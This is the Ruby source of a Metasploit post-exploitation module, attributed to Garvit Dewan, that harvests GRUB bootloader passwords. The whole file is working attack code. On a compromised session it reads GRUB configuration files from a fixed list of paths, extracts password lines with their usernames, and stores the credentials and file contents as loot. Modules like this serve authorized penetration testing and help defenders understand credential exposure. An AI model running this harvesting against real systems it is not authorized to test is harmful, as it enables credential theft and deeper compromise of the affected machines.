Garvit Dewan
86 lines
2.4 KiB
Ruby
86 lines
2.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Gather GRUB Password',
|
|
'Description' => %q{
|
|
This module gathers GRUB passwords from GRUB bootloader config files.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Garvit Dewan <d.garvit[at]gmail.com>' # @dgarvit
|
|
],
|
|
'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'],
|
|
'SessionTypes' => ['meterpreter', 'shell'],
|
|
'References' => [
|
|
['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption']
|
|
]
|
|
))
|
|
end
|
|
|
|
def run
|
|
targets = [
|
|
'/boot/grub/grub.conf',
|
|
'/boot/grub/grub.cfg',
|
|
'/etc/grub.conf',
|
|
'/etc/grub/grub.cfg',
|
|
'/etc/grub.d/00_header',
|
|
'/mnt/sysimage/boot/grub.conf',
|
|
'/mnt/boot/grub/grub.conf',
|
|
'/rpool/boot/grub/grub.cfg',
|
|
'/boot/grub2/grub.cfg',
|
|
'/boot/grub2/user.cfg'
|
|
]
|
|
|
|
print_status("Searching for GRUB config files..")
|
|
file_found = false
|
|
targets.each do |target|
|
|
next unless readable?(target)
|
|
file_found = true
|
|
print_status("Reading #{target}")
|
|
file = read_file(target)
|
|
password_found = false
|
|
file.each_line do |line|
|
|
line = line.strip
|
|
if line.start_with?("password")
|
|
print_good("Found password: #{line}")
|
|
parts = line.split(" ")
|
|
|
|
# Password format in GRUB conf: password <user> <password>
|
|
credential_data = {
|
|
origin_type: :session,
|
|
post_reference_name: self.refname,
|
|
private_type: :password,
|
|
private_data: parts[2],
|
|
session_id: session_db_id,
|
|
username: parts[1],
|
|
workspace_id: myworkspace_id
|
|
}
|
|
create_credential(credential_data)
|
|
password_found = true
|
|
end
|
|
end
|
|
|
|
if !password_found
|
|
print_status("No passwords found in GRUB config file: #{target}")
|
|
else
|
|
print_good("Saved credentials")
|
|
end
|
|
file_loc = store_loot("grub.config", "text/plain", session, file)
|
|
print_good("#{target} saved to #{file_loc}")
|
|
end
|
|
|
|
if !file_found
|
|
print_bad("No GRUB config files found!")
|
|
end
|
|
end
|
|
end
|